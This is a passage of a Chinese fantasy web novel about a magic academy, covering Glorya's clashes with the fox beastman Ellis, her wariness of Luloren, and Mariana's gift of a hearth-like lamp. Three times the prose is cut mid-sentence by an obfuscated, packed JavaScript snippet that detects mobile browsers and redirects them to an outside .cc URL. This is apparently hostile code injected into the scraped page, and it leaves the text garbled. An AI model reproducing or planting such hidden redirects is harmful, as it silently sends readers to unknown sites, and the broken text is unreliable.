比如找各种借口出现在各种意想不到的地方的五年级的卢洛伦德学长和永远跟在他身后、永远穿着甲胄的奥罗拉，以及因为活动区域比较重合所以在一个月里被格洛瑞亚拍到墙上四次的四年级的埃利斯学长。 “……这个月我已经是第五次上墙啦！”埃利斯奋力从墙上把自己拔下来，对着走廊另一头慢慢走过来的奥罗拉开朗地介绍。 “瑞尔，我们下次再换一条路吧？”玛莉安娜看着好友还没完全放下的手，捂住嘴悄悄凑过去。 “……”格洛瑞亚默默看了看对面刚把自己从墙上扣下来的狐狸，又回头看了看站在原地揉着眉心，完全不想再走一步的奥罗拉，认真点头。 这鬼日子到底是为什么变成现在这样的。 格洛瑞亚不知道第几次抬头问候真正的命运之神，她在第一次学着玛莉安娜这样感慨时感受到了前所未有的轻松。 奥罗拉终于是顾念在勉强还有但是不多的同学情谊下，走过去把瘫坐在墙边的狐狸兽人拎走了。 玛莉安娜对此挥双手表赞美。 有时候不是生活太难过，是身边的人太莫名其妙。 安塔莉上楼来抓玛莉安娜去训练，目睹全过程后辛辣点评。 “不过你这样做没事吗？我是说，这算公然斗殴吗？”安塔莉看着玛莉安娜满脸写着不情不愿地尽力磨蹭，决定先和格洛瑞亚聊聊天。 毕竟自己也没有那么热爱训练。 到底谁会喜欢上学啊？！ 哦，旁边这个银色头发的会。安塔莉看着怀里抱着书的格洛瑞亚，非常明白这位同学接下来的行程应该是图书馆。 “没事哦。”格洛瑞亚走到墙边看了看哪怕被砸也没有任何损坏的墙面，想了想还是没下手去砸第二次，“我有伊诺尔老师的特批，这位埃利斯学长是我的指导学长。” “简单来说就是对练沙包。”玛莉安娜悄悄摸到安塔莉身后补充。 安塔莉看看还在认真研究墙面的格洛瑞亚，又看看身后眨巴着大眼睛的玛莉安娜。 深深觉得有一把回旋镖扎到了自己身上。 但是自己找的活自己得干下去，安塔莉抓走了玛莉安娜去训练，只留一个还在面壁的格洛瑞亚。 “我很好奇，安塔莉找你到底有什么事情。”格洛瑞亚转过身，看向不远处开着门的空教室。 教室里看起来完全不像是有人的样子，但是格洛瑞亚就那样定定地看着那间教室。 一阵细微的声音响起，不知道什么时候就坐在了教室里的卢洛伦德撤掉临时的藏匿魔法，坐在桌子上漫不经心地抛着一颗浅粉色的宝石。 “为什么这么问？” “因为。自从安塔莉开始给我们带路，你就再也没出现过了。” 格洛瑞亚看着去而复返的奥罗拉，没有丝毫意外地点点头。 或者说，如果奥罗拉没有出现，格洛瑞亚倒是需要怀疑一下眼前的究竟是不是卢洛伦德本人了。 “奥罗拉学姐最近出现得越来越频繁，是在替你监视谁？”格洛瑞亚看着奥罗拉习惯性地站到了卢洛伦德身后，忍不住挑眉。 “这倒不是替我监视。”卢洛伦德迅速摆手拒绝误会，“奥罗拉受人所托要看住埃利斯。以免那只狐狸有什么破坏性太大的情况发生。” “破坏性？”格洛瑞亚干脆也坐到桌子上，能平视卢洛伦德的感觉让她觉得还不错。 不过格洛瑞亚想了想埃利斯这几次完全没有多加反抗的单方面挨打，等着卢洛伦德继续解释。 “兽人族嘛，还在成长发育的时候有可能控制不住突然增大的力气或者魔力。奥罗拉的力量和魔力都是我们几个里的佼佼者，埃利斯的长辈就委托她尽量在埃利斯失控之前就把人按住。”卢洛伦德颇为骄傲地指向奥罗拉，奥罗拉也点头，表示卢洛伦德说的都是真话。 “……”格洛瑞亚从一脸骄傲的卢洛伦德看到一脸认真的奥罗拉，觉得好像确实有道理，于是选择继续提问。 “那他为什么……”格洛瑞亚的问题还没问完，卢洛伦德就知道格洛瑞亚在疑惑什么。 “埃利斯总是有一份奇妙的好奇心和坚持，从小就是。”卢洛伦德摸着下巴，整个人似乎在慢慢陷入回忆，“他会为了抓住一条无影鱼在水边驻扎一个月；也会为了一颗喜欢的猫眼石和长辈打赌，打赌的结果是他拿到了猫眼石，也不得不来和我们一起学习。” “他还能因为不想以后成为战士在开学一个月前自学魔法提升魔力，而且成功了。”奥罗拉拄着长剑默默补充。 卢洛伦德打了个响指，表达确有其事，以及自己无声的佩服。 格洛瑞亚深呼吸，再深呼吸。 那个大号狐狸有多少对她们的好奇心她可以不在乎，没事就要过来聊天这件事能坚持多久她也不关心。 格洛瑞亚只想知道，究竟要把埃利斯拍走几次才能让他明白：她和玛莉安娜真的不是双胞胎。 格洛瑞亚真的很希望有关森林和兽人的神明能管一管这个离谱的狐狸。 狐狸眼神不好，狐狸这族的兽人眼神还不好吗？ 格洛瑞亚在梦里看见了埃利斯的未来和玛莉安娜有所纠缠，又想到卢洛伦德和埃利斯的熟悉。想到在学院里，索性展示一些不客气的态度把两人都推远些。 原本想杀鸡儆猴，结果却弄巧成拙，埃利斯反而更好奇了是怎么回事？ 反效果来得猝不及防，埃利斯甚至找伊诺尔老师开了份证明，表示两个人多次的魔法对轰只是友好切磋不是打架斗殴。 到底是谁会觉得这是友好切磋啊？！ 伊诺尔老师也火上浇油……不是，抓住时机，申请了各年级之间“一对一友好交流互助搭子”，提案在上周就在学院里通过了。 顺便补 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383204|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 充，玛莉安娜的“陪练”就是现在一脸严肃站在教室里的奥罗拉。 奥罗拉，五年级战士组第一名，蝉联三年战士组武力值榜首，魔法学习方面理论成绩名列前茅，据说有在准备在魔法和战斗结合的方面继续深造。 玛莉安娜目前在整个学院里第二喜欢的就是这位学姐。第一当然是伊诺尔老师。 “这份好奇心和坚持，希望他能一直用在正确的地方。”格洛瑞亚跳下桌子，习惯性地整理好袖子上的绑带，转身离开。 只是一句忠告，作为被格洛瑞亚在梦中窥探了“未来”的人，格洛瑞亚当然不介意在适当的时候给出帮助。 哪怕埃利斯可能听不到这份忠告。 不过这也是很正常的。格洛瑞亚在窗户的倒影看见有一缕银发调皮地从发辫中跳出来，干脆利落地把辫子拆掉。 人都是有自己的想法的。 卢洛伦德把想法藏得很好，安塔莉则是藏一半露一半。 玛莉安娜对格洛瑞亚完全不掩饰自己的任何想法。 于是这句忠告能否传达给埃利斯，就看卢洛伦德和奥罗拉觉得埃利斯值不值得他们帮助了。 格洛瑞亚不在乎卢洛伦德和奥罗拉两个人有没有目的、有什么样的目的。 但是她对出现在“未来”里的埃利斯一定会保持着固定的观察。 格洛瑞亚在“借用”了玛莉安娜强硬塞过来的“情绪”之后，觉得这个世界看起来都不太一样了。 这个世界很奇妙。 有人会在第一眼看到某张脸的时候就心跳加速；也有人会在长久交往的朋友背后阴暗嫉妒。 这是人性，是曾经的格洛瑞亚从来不会考虑的现实。 格洛瑞亚见过太多主动地、被动地来到自己面前的人。 求财富、求爱情、求健康、求获得。 人有所求，即有所忧。 格洛瑞亚最近在仔细回忆每一个出现在那个边陲小镇祈求所谓“神迹”的人。 很多人的愿望都是越来越难实现的。 因为人总是贪心。 祈求得不到的东西时，人总是抱有一丝侥幸。 格洛瑞亚最近在接触这份现实。 比如这份“忠告”。 卢洛伦德仍然坐在那张桌子上，轻松地晃着腿。 “我去找埃利斯。”奥罗拉在卢洛伦德身后已经拿好了长剑。 “嗯。麻烦你了。最近多看住他吧。”卢洛伦德顺手把那块淡粉色的宝石递过去，被奥罗拉推了回去。 “你自己拿好。”奥罗拉走到门口还是忍不住回头，“埃利斯会出事吗？” “不知道。”卢洛伦德看起来非常轻松，但是奥罗拉知道卢洛伦德绝不会是表面看起来那样随意。 “毕竟是格洛瑞亚，还是不能掉以轻心啊……” 卢洛伦德摆摆手，示意奥罗拉快去抓跑没影了的埃利斯。 “……你自己注意安全。”奥罗拉不放心地嘱咐。 “这里是学院，没事的。” 卢洛伦德收好宝石，在奥罗拉离开后，对着空荡的教室叹气。 “没事的。” “会成功的。” 16. 第16章 引导，欺骗 学院生活总会让时间看起来慢许多，从炎热的夏末到凉爽的初秋，所有人都已经顺利地习惯了各种各样的新奇事物。 玛莉安娜是在学院图书馆顶楼找到格洛瑞亚的。 银发顺滑地披散着的女孩专心地看着手里的大部头，时不时撩起耳边的长发别到耳后，在手边的羊皮纸上写几个字，看起来是在专心查阅并记录一些不熟悉的知识点。 “瑞尔？有空吗？”玛莉安娜凑过去，尽量压低声音。 格洛瑞亚抬起一根手指晃了晃，示意玛莉安娜稍等。 “我去外面等你。”玛莉安娜拍了拍格洛瑞亚的肩就匆匆离开，格洛瑞亚倒是有些不适应。 但是……没有什么能感受到的情绪。格洛瑞亚感受了一下。 还是说玛莉安娜的情绪有，只是没有强烈到能影响到我？ 这让格洛瑞亚有些摸不着头脑。 格洛瑞亚迅速完成今日份的额外学习收拾好书包，在图书馆门口抓住正在来回晃悠的玛莉安娜。 “玛莉安娜，谁的信？” 格洛瑞亚一眼看到了被玛莉安娜紧紧地攥在手里的信封，一时间各种猜想突然充斥在头脑中。 “什么？”玛莉安娜低头看看，烦躁地抖了抖信封，“不是这封信的事情。” 警惕地看了看四周，玛莉安娜猛地抓住格洛瑞亚钻进了一旁的树荫里。 “这封是妈妈的来信，但是重点不是这封信。”玛莉安娜有些犹豫，又努力地压低声音，生怕被什么人听到一样。 “奥罗拉已经三天没来找我了。事实上是从上周五我们分开就没再见过。”玛莉安娜看起来非常担心，“我在刚才去取信的时候遇见了卢洛伦德学长。我本来想跟他问一下奥罗拉是不是被什么事情绊住了或者去校外上实践课。但是他要我来找你！” 努力压低的声音几乎控制不住，玛莉安娜看起来要被自己的想象吓哭了。 “格洛瑞亚，你没做什么吧？卢洛伦德什么意思？”玛莉安娜的担忧情绪终于传达给了格洛瑞亚。 格洛瑞亚对此的回应是把课程表展示在了玛莉安娜眼前。 “我没有时间做什么。我在上课，没有课的时间都和你在一起。”玛莉安娜认真地看着眼前比记忆里又多加了两门课的课表，听见格洛瑞亚的声音在旁边幽幽响起。 玛莉安娜按照课程表的顺序翻来覆去地问了好几遍，又仔仔细细地回忆了上周末两个人在学院里的各种活动，终于是勉强地放下了心。 玛莉安娜不怕格洛瑞亚做什么，就怕卢洛伦德抓住某些空隙做什么不好的事情。 格洛瑞亚看玛莉安娜失去了往日的活力，提议两人回寝室仔细说。玛莉安娜胡乱点点头，在路上两人还拐去食堂买了面包、沙拉和咸肉。 玛莉安娜坐在寝室里，愣愣地吃着面包夹咸肉，突然笑了。 “没事，我就是突然想到，上次吃这个还是我向你许愿那天。”玛莉安娜晃了晃手里的自制三明治，不忘点评一句今天的咸肉没有那天好吃。 “因为是不一样的肉。”格洛瑞亚总是在一些奇妙的地方很有坚持，比如这种情况下一定会说出来不一样的原因。 “瑞尔，这是感慨和评价，不是我想知道为什么今天的肉不好吃。”玛莉安娜已经习惯了格洛瑞亚奇妙的认真，更加习惯地向格洛瑞亚说明这份回答的不合适。 格洛瑞亚吃得不多，玛莉安娜还在做第三个自制三明治，格洛瑞亚已经拍拍手上的食物残渣表示自己吃饱了。 玛莉安娜示意格洛瑞亚可以先看乌忒娜写来的信。 信的开头是乌忒娜一如既往的关心：在学院学习累不累、食堂吃得习不习惯、寝室记得保持卫生等等，对生活全方位的关心让格洛瑞亚忍不住想微笑。 乌忒娜也在信里断断续续地写了不少家长里短： 她和斯顿艾斯去了离王都不远的小镇拜访了一位朋友，会等格洛瑞亚和玛莉安娜放假的时候再去拜访一次，让她们做好准备； 斯顿艾斯前几天收拾了很多东西，在整理一些不常用的箱子的时候发现了玛莉安娜藏起来的一些幸运硬币和羽毛笔，现在已经换了个小盒子放到了玛莉安娜的房间； 玛莉安娜吃完饭，格洛瑞亚正看到乌忒娜和斯顿艾斯在信里描述买到了很不错的画笔和纸，格洛瑞亚回到家就能第一时间试用，如果喜欢，他们记住了店铺的名字和地址，格洛瑞亚可以随时去购买。 “瑞尔，妈妈写了什么了？”玛莉安娜一边收拾桌面，一边问看信看得非常愉快的格洛瑞亚。 格洛瑞亚就开始概括乌忒娜的信里的内容念给玛莉安娜，听到“幸运硬币”时玛莉安娜还很惊讶，毕竟她已经很久都没有去买过这些了。 收拾好了桌面，又仔细看了一遍乌忒娜的信，趁着格洛瑞亚转身点灯，玛莉安娜动作迅速地把自己的枕头和被子都抱了过来，无声表示今晚留宿的意愿。 格洛瑞亚干脆打开大门迎接玛莉安娜大驾光临。 “来吧。”玛莉安娜经过两个月的训练，身材愈发挺拔修长，坐在属于格洛瑞亚的床上颇为自然， “我去找奥罗拉，她的同学说有人帮她请假了；所以我去找了卢洛伦德学长，他让我来找你。”玛莉安娜深吸一口气，继续说，“而且，格洛瑞亚。” “你能告诉我，最近，埃利斯学长为什么没出现吗？” 玛莉安娜的声音随着格洛瑞亚逐渐绽放的笑容变轻。 “我能解释一部分。”格洛瑞亚笑眯眯地，看玛莉安娜稳坐在椅子上，干脆靠在了桌子上。 “我在梦里看到了一点有关‘埃利斯学长’的未来。”格洛瑞亚删减了一部分，决定在“未来”真的到来的那一天之前就当它不存在。 “埃利斯学长是兽人族，成长过程中和普通人稍微有点不一样。”玛莉安娜点头，示意格洛瑞亚继续。 “简单来说就是这位学长本能上更偏向动物，或者说更依靠本能行动。”格洛瑞亚抽出那本《大陆基础生物科普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383205|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 》，翻到介绍兽人这个大型联合种族的章节，递给越来越迷茫的玛莉安娜。 “我看到了失控的埃利斯学长和为了阻止他受伤了的很多人。”格洛瑞亚仿佛只是在说一件微不足道的事情，而玛莉安娜为此猛然抬头，差点扭伤自己的脖子。 “放轻松。”格洛瑞亚微笑着看着玛莉安娜开始揉脖子，略微回忆了一下。 “我给卢洛伦德和奥罗拉他们提过醒。不过我倒是没想到他们真的能阻止失控的兽人。”格洛瑞亚敲了敲桌面，默默评估了一下奥罗拉的战斗力。 “所以……”玛莉安娜串联了已知信息，“噌”的一声站了起来。 “奥罗拉不是在校医疗署吧？”玛莉安娜捂住嘴，几乎是在喃喃自语。 格洛瑞亚点点头，顺便补充了一句：“埃利斯学长也在。” “那我们要不要去探病？该带什么东西去啊？他们在一个病房吗？”玛莉安娜开始在屋子里团团转了。 “冷静，玛莉安娜。冷静。”格洛瑞亚看着已经准备去翻行李箱看看有没有合适的探病礼物的玛莉安娜，不得不打断玛莉安娜愈发分散的思绪。 “你现在应该做的事情是去给乌忒娜和斯顿艾斯写回信。” 格洛瑞亚抓住玛莉安娜塞回桌子前，干脆把羽毛笔也塞进玛莉安娜手里。 “那……那奥罗拉……”玛莉安娜似乎还想说什么，却抬头对上了格洛瑞亚的浅紫色瞳孔。 “这件事你需要当作什么都不知道。”格洛瑞亚一字一顿、无比认真。 “你不能知道埃利斯学长为什么失控，当然我也没有告诉你；你同样不知道奥罗拉为什么住进校医疗署；你也没有去找卢洛伦德询问奥罗拉的近况。”格洛瑞亚的声音逐渐放低，玛莉安娜的眼神逐渐涣散。 “你只是偶遇了去探病的卢洛伦德，从他那里知道了奥罗拉住进了医疗署。”格洛瑞亚抬手靠近玛莉安娜耳边。 响指声音清脆，玛莉安娜猛地一震。 “瑞尔？”只是几次呼吸，玛莉安娜抬头看着严肃的格洛瑞亚，分外不解。 “没事。我只是在想怎么写回信。”格洛瑞亚点了点桌面上乌忒娜的信，努力想了想，学着玛莉安娜苦恼的样子皱眉。 玛莉安娜哈哈笑着揉了揉格洛瑞亚的额头。 “瑞尔不适合这个表情啦。”玛莉安娜把羊皮纸摊开，开始努力措辞。 “我要把最近的事情都写上去！”玛莉安娜看起来踌躇满志，开始奋笔疾书，“奥罗拉真的是，明明平常身体那么好一打五都行，居然因为感冒就要住医疗署……” 格洛瑞亚在旁边隐蔽地吐出一口气。 卢洛伦德引导玛莉安娜来问的问题一定有问题。格洛瑞亚看向窗户，夜幕降临，浮云遮月，星光闪烁，晦暗不明。 感受着心脏处玛莉安娜传递过来的，只要想到“家”就会出现的温暖感觉。 格洛瑞亚现在有点烦。 要不，把卢洛伦德也打进医疗署算了。 17. 第17章 笑起来吧 格洛瑞亚的想法没能实现。 当然，也得益于卢洛伦德确实近期没再出现在两人面前。 玛莉安娜在两天后的训练时间见到了奥罗拉，这位常年身着甲胄的年轻女性看起来完全没有一丝从医疗署带出的病弱，并赠送了玛莉安娜一盏魔法长明灯。 奥罗拉拉着玛莉安娜仔仔细细地介绍了一通这盏长明灯：这盏灯的基础设计是卢洛伦德的想法，历经两年时间由‘日常魔法研究社’里的‘日常魔法道具组’制作完成。 送给玛莉安娜的这盏是卢洛伦德和奥罗拉二人亲手制作，添加了魔力启动装置，通过控制魔力供给能控制这盏灯的颜色和亮度。 玛莉安娜如获至宝，甚至想冲动地加入‘日常魔法研究社’。 格洛瑞亚为此遗憾地放弃了已经成型的‘卢洛伦德绑架计划’。 玛莉安娜不知道这个计划，她只是结束了一天的课程后，在寝室里兴奋地调整着那盏魔法长明灯，让它从一开始刺眼的白光渐渐变成柔和昏暗的橘黄色。 “这个光让我想到了壁炉里燃烧的火焰。”格洛瑞亚看着玛莉安娜慢慢把长明灯的光调得更加柔和后挂在墙上，很突然地说。 “你喜欢壁炉？还是火焰？”玛莉安娜拍拍手，打量着墙面布局，对自己的审美表示满意。 “喜欢？我不知道是不是喜欢。”格洛瑞亚伸出双手，食指和拇指比出一个框，框住那盏稳定地亮着的灯。 “只是壁炉燃烧的时候很温暖。”格洛瑞亚的眼睛里似乎也有火光跳跃，曾经壁炉里的火焰通过回忆点亮了眼瞳。 “是哦。”玛莉安娜坐在椅子上摇摇晃晃，开始回忆冬天落雪时，在温暖的室内会做什么。 于是玛莉安娜讲乌忒娜带她做饼干，香甜温暖的气味会充斥在整件房子里，能萦绕在鼻尖很多天；又想到会出门清理被雪掩埋的路，乌忒娜会带着她堆几个小雪人，称呼它们是帮忙保护安全的护卫；还有，冬天会有一些特殊的草药在雪下长出来，每挖出一株，玛莉安娜就会拿去给乌忒娜看，然后乌忒娜总是不厌其烦地夸奖：“玛莉安娜真棒！” 玛莉安娜快乐地分享着记忆里凛冽又温暖的冬天，并且开始畅想今年冬天的室内和室外活动。 玛莉安娜总是这样。 或者说，这个世界上总是会有这样的人。他们觉得世界上的一切都是那么的美好，太多的有趣的事物要去体验，体验过后还是觉得有趣，所有的人、事、物，他们总能看见最美好的那一部分。 玛莉安娜喜欢伊诺尔老师，就会努力地去学习各种珍稀植物的养护方法；玛莉安娜也喜欢安塔莉和奥罗拉，于是她努力地去进行战士的体能锻炼和战斗训练。 玛莉安娜偶尔也会不那么开心，会对着格洛瑞亚抱怨学习好难、训练好累，但是只是一会儿就把自己哄好，因为她很清楚，这点辛苦是无可避免的。 她得到了伊诺尔老师的喜欢和看重，获得了安塔莉和奥罗拉的友谊，所以她的疲惫在这些获得面前不值一提。 格洛瑞亚在玛莉安娜身后默默看着。 格洛瑞亚学着玛莉安娜的样子去学习，去和人交流。 但是不一样。 无论是过程，还是结果。 格洛瑞亚觉得自己很努力了。 格洛瑞亚总是和人匆匆交流几句就再没有了下文，在学习魔法时的搭档也是一节课一换。 格洛瑞亚很困惑，这份对外界的探索，在她的努力过后只是原地踏步。 玛莉安娜对此的评价更是给了格洛瑞亚当头一棒。 “因为瑞尔只是在模仿我吧？”玛莉安娜叼着一块饼干，确认什么一般点点头。 “瑞尔其实，并不是真的想做什么吧？”玛莉安娜努力措辞，这份总结对她来说还是稍微有点难，“比如我是因为‘喜欢’老师才去学习、‘喜欢’安塔莉和奥罗拉她们才去训练。这份‘喜欢’能支持我付出时间和精力，这份‘喜欢’是是我的动力。” “但是瑞尔不是吧。”玛莉安娜很肯定，甚至还有心情给自己再拿一块饼干吃，“瑞尔只是觉得，应该和我一样。但是我们本质上就是不一样的。” 那天的话让格洛瑞亚想了很久。 如果现在的人、事、物不能让瑞尔喜欢或者讨厌，那么瑞尔想想回忆里有没有怎么样？ 那天晚上，玛莉安娜认真地吃完了饼干，也让格洛瑞亚认真地开始去思考，有什么是会让自己喜欢或者讨厌的吗？ 于是，这天晚上，格洛瑞亚看着那盏温暖地亮着的长明灯，突然地想起了一些回忆。 边陲小镇没什么趣事，更别提长久地居住在小楼里的漫长冬日。 格洛瑞亚在很长一段时间里，只是习惯性地看着那一片白茫茫的远方。 那片白是不一样的。四季变化的时候，那片白会多一些或者少一些，但是永远都在。 那片白来到窗前的时候，天气就冷下来了。 格洛瑞亚不怕冷，或者说她根本不会被天气影响到。 但是，壁炉总会在固定的时候燃起火焰，屋子里会被火光映出温暖又活泼的光影，也总会有一张小桌随着软椅上温暖的毛毯出现在壁炉前。 在看不清窗外那一点白时，格洛瑞亚会看着壁炉发呆。 但是格洛瑞亚没有画过这些火焰。 对当时的格洛瑞亚来说，壁炉里的火焰燃烧起来，只是提示她冬天已经到了，要记得穿上厚一点的衣服。 但是也没有什么必要，反正她也不会出门。 她不会见到任何不应该见到的人。 冬天是很冷，但是对格洛瑞亚来说，冬天和夏天没什么区别，春天和秋天更没什么两样。 这些记忆里的温暖光影在今天是如此突兀地出现在脑海里，格洛瑞亚几乎是困惑地向玛莉安娜讲述这些零散的回忆。 说实话，格洛瑞亚觉得自己的讲述几乎可以说是干涩又直白地到了一个离奇的程度，但是玛莉安娜听的很认真。 已经很晚了，玛莉安娜原本就没打算留宿，此时更是若有所思地离开了格洛瑞亚的寝室。 于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383206|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是接下来的一星期，格洛瑞亚几乎没怎么抓住玛莉安娜的影子。 玛莉安娜说伊诺尔老师的温室有一些珍稀草药即将成熟需要人帮忙，于是两人几乎只在吃饭时和课堂上能匆匆见几面。 格洛瑞亚一点都没怀疑，哪怕玛莉安娜在第一次说的时候就支支吾吾地不敢看她的眼睛。 玛莉安娜又一次在图书馆找到了格洛瑞亚。 同样支支吾吾地、不敢看格洛瑞亚的眼睛，但是用很认真的语气让她早点回寝室。 格洛瑞亚拎着书包回到寝室时，以为自己终于把寝室的灯熬坏了。 不死心地又试了试，一丝光亮都没有，但是天已经晚了，只能自己先试着修一修了。 就在格洛瑞亚关好门的那一刻，有跃动的火光从身后亮起。 “……瑞尔。”玛莉安娜的声音从身后响起，带着满满的骄傲和兴奋，“瑞尔，转身看看。” 格洛瑞亚转过身，房间被温暖的火光充斥着却没有一丝火焰，光芒的来源是玛莉安娜手里捧着的一盏灯。 “效果比我想象中还要好。”玛莉安娜的声音逐渐降低，仿佛害怕打扰这一刻温暖的相遇，“那天你说到壁炉，说到那种温暖的火光。我就想，不能真的点火，但是可以做出来效果差不多的灯。” 玛莉安娜走过来，把那盏灯放在了格洛瑞亚手心。 “我还找了奥罗拉帮我在这盏灯的‘灯芯’上加了点魔法，据说效果是能让人在触碰这盏灯的时候感受到火焰的温暖但是不会烫伤。” 玛莉安娜笑着，同样把手放在了那盏灯上。 “你感觉怎么样？格洛瑞亚？” “我感觉，很温暖。”格洛瑞亚捧住那盏灯。她不只能感受到这盏灯带来的温暖，玛莉安娜的手心也传来了一份温暖。温暖到格洛瑞亚觉得自己已经被灼伤了。 玛莉安娜断断续续地讲，她是怎么样想到了这样的一盏灯、怎么样去找奥罗拉商量‘灯芯’应该用哪种材料、‘灯芯’上的法阵又该刻哪一个、又是怎样在埃利斯的帮助下一点一点地做好了这盏灯的外壳。 玛莉安娜介绍完这盏灯的来历，略微心虚地咳了一声。她知道格洛瑞亚不是很赞成她和三位学长走得太近。当然，具体原因格洛瑞亚没说，但是玛莉安娜觉得格洛瑞亚的想法一定有道理。 但是没办法，玛莉安娜不认识更多的能帮得上忙的人了。玛莉安娜默默地想，总不能让伊诺尔老师帮忙吧…… “谢谢，我很喜欢。”格洛瑞亚把这盏灯端端正正地摆在了桌子正中心，看着那份跃动的光影呼吸一般明灭。 “真的？真的吗？！”玛莉安娜激动地在屋子里团团转，“我就说，能被瑞尔你提起来的事情肯定很重要！我就说一定会有喜欢的……” “不是。”格洛瑞亚的视线仍然锁定在那盏灯上，“我只是，喜欢玛莉安娜送给我的这盏灯而已。” “玛莉安娜，谢谢。”格洛瑞亚微笑着看向突然站在原地，似乎有些不好意思的玛莉安娜。 于是玛莉安娜也笑起来。 18. 第18章 训练吧少女 那盏灯被格洛瑞亚郑重其事地挂在了墙面中间偏上的位置。 同样能调整光照的强度的灯被格洛瑞亚调得昏暗了不少，挂在墙上刚刚好照亮了格洛瑞亚的几幅画。 “我觉得很合适。我的画看起来有点冷，放在上面可以让这盏灯一起温暖它们，当然还有我。”格洛瑞亚这样和玛莉安娜介绍，点了点灯和画，表示自己很满意。 当然，这盏灯会被格洛瑞亚长久地带在身边。 这盏灯在格洛瑞亚的视线里亮着，就好像玛莉安娜一直在格洛瑞亚身边一样。 格洛瑞亚很喜欢这盏灯，对玛莉安娜去找奥罗拉甚至是埃利斯帮忙这件事没再发表评价。 命运的齿轮一直在转动。格洛瑞亚只能参与，不能阻拦。 面对又一次出现在下课的教室门口的埃利斯，格洛瑞亚也只是平静地绕了过去。 “今天不打架了哦？”埃利斯跟上去，狐狸耳朵和尾巴轻轻颤抖着，昭示着这只狐狸心情相当不错。 “不打。玛莉安娜不在。”格洛瑞亚翻出那张特殊的地图加课程表的结合体递给埃利斯，当然没错过埃利斯脸上一闪而过的疑惑。 “玛莉安娜的课程表和我的不一样，你可以参考一下，不用来得那么频繁。”格洛瑞亚点了点课程表，又拿出一份笔和纸，示意埃利斯可以记一下。 “我不是……”埃利斯紧张地晃了晃耳朵，手忙脚乱地拒绝，“我是你的指导学长，来找你很正常啦。” “哼。”格洛瑞亚哼笑一声，“你最好是。” “卢洛伦德呢？快毕业了终于要忙起来了？”看埃利斯望天望地就是不看自己的尴尬模样，格洛瑞亚干脆换了个话题。 “休？他本来是准备提前毕业的。”埃利斯又开始晃尾巴，倒苦水一般大谈特谈最近在他眼里忙得有点莫名其妙的朋友，“但是好像突然决定要再常驻学院修习几年，最近在和奥罗拉一起到处找老师做任务呢。” “突然改主意了？”格洛瑞亚看起来倒是不太惊讶的样子。当然埃利斯也没见过她有第二种表情，哪怕之前突袭的魔法快到脸上的时候表情也没有半点变化。 “是哦。都说了让他考虑好各种毕业前后的安排是不是合适，结果还是要突然改计划。”埃利斯嘟嘟囔囔地说了不少抱怨的话，但是再具体的话倒是一句没说。 “那你怎么不和他们一起忙起来？”说话间两人已经走到了楼外，开始朝着楼后空旷的训练场地进发。 “我？我不用。”埃利斯话语间骄傲的味道已经溢了出来，“我早就已经确定了要留校继续学习了。说不定明年你们的助教就是我哦！” 火红的尾巴一甩一甩地在空中来回晃悠，格洛瑞亚也忍不住让自己的视线跟随着那根尾巴来回晃。 怪不得书上说兽人族情绪外放、单纯异常。格洛瑞亚努力从那根明显保养得当的尾巴上收回视线，却还是忍不住多看几眼。 这些外在的耳朵和尾巴会比正常的表情还明显地展露本人的情绪。 已经离训练场很近了。格洛瑞亚和埃利斯已经能看得见训练场上几组字面意义上打得火热的人了。 玛莉安娜的黑发束起，高高的马尾辫跟随着女孩灵活腾挪的身体在空中划出凌厉的线条，对面的安塔莉的红发在阳光下更是如同火焰燃烧一般灼人眼球。 “那盏灯，谢谢你。”格洛瑞亚认真地看着玛莉安娜和安塔莉训练，话却是对着身边的埃利斯说。 “灯？哦，那盏灯是小安娜送给你的啊！”埃利斯动作表情都夸张的过分，就好像他根本不知道玛莉安娜做那盏长明灯是为了什么一样。 “那盏灯很漂亮，也很实用。“格洛瑞亚的词汇量依旧匮乏，把一份夸赞加感谢的词句说得干巴巴，看起来倒像是不情不愿的样子。 “行啦，不用这么感谢我，都说了不是什么太难的事情。“埃利斯笑眯眯地摆手，顺便飞速蹲下身躲过训练场里飞出来的一把刀。 “哦哟，好危险哦。”埃利斯平静地拔出嵌进不远处的的刀，递给了满脸抱歉嘴里也一直在道歉的人。 “你可以考虑用轻一些或者短一些的武器，你的身高和力气都不太够用这把刀。”埃利斯把刀递还回去，笑眯眯地建议。 不小心让刀脱手的人原本就红的脸更红了，慌慌张张地表达感谢后被埃利斯推着转过身赶去继续训练。 “你很了解这些。”格洛瑞亚一直站在一旁没说话，看着埃利斯处理好看起来那个要用歉意把自己淹死的人和那把锋锐异常的刀。 “是啊，毕竟奥罗拉很擅长这些。”埃利斯笑眯眯地朝前方挥手，“比如训练人，又比如使用各种武器。” 